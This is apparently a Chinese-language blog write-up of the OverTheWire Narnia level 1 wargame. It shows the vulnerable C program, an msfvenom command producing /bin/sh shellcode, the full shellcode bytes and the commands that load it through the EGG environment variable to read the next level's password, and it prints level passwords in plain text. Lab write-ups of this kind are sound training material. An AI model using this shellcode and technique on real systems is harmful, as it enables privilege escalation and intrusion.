密码:narnia1:efeidiedae
分析
查看narnia1.c
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
n
这里判断egg环境变量是否存在,若不存在,报错后退出,若存在,执行该变量内容,因此可以通过构造egg变量获取高权限bash

构造
msfvenom构造shellcode
msfvenom -p linux/x86/exec CMD=/bin/sh -b "\x00" -f c
得到shellcode
"\xbe\xef\x99\xa1\xd7\xdb\xde\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x0b\x83\xc7\x04\x31\x77\x11\x03\x77\x11\xe2\x1a\xf3\xaa\x8f\x7d\x56\xcb\x47\x50\x34\x9a\x7f\xc2\x95\xef\x17\x12\x82\x20\x8a\x7b\x3c\xb6\xa9\x29\x28\xc0\x2d\xcd\xa8\xfe\x4f\xa4\xc6\x2f\xe3\x5e\x17\x67\x50\x17\xf6\x4a\xd6"

设置EGG环境变量
export EGG=$(python -c 'print "\xbe\xef\x99\xa1\xd7\xdb\xde\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x0b\x83\xc7\x04\x31\x77\x11\x03\x77\x11\xe2\x1a\xf3\xaa\x8f\x7d\x56\xcb\x47\x50\x34\x9a\x7f\xc2\x95\xef\x17\x12\x82\x20\x8a\x7b\x3c\xb6\xa9\x29\x28\xc0\x2d\xcd\xa8\xfe\x4f\xa4\xc6\x2f\xe3\x5e\x17\x67\x50\x17\xf6\x4a\xd6"')
获取权限
./narnia1
cat /etc/narnia_pass/narnia2
获取密码 narnia2:nairiepecu

本文介绍通过构造特殊环境变量EGG,利用Narnia1的漏洞获取更高权限bash的方法。通过使用msfvenom生成shellcode并设置EGG环境变量,最终成功执行并读取narnia2的密码。
413

被折叠的 条评论
为什么被折叠?



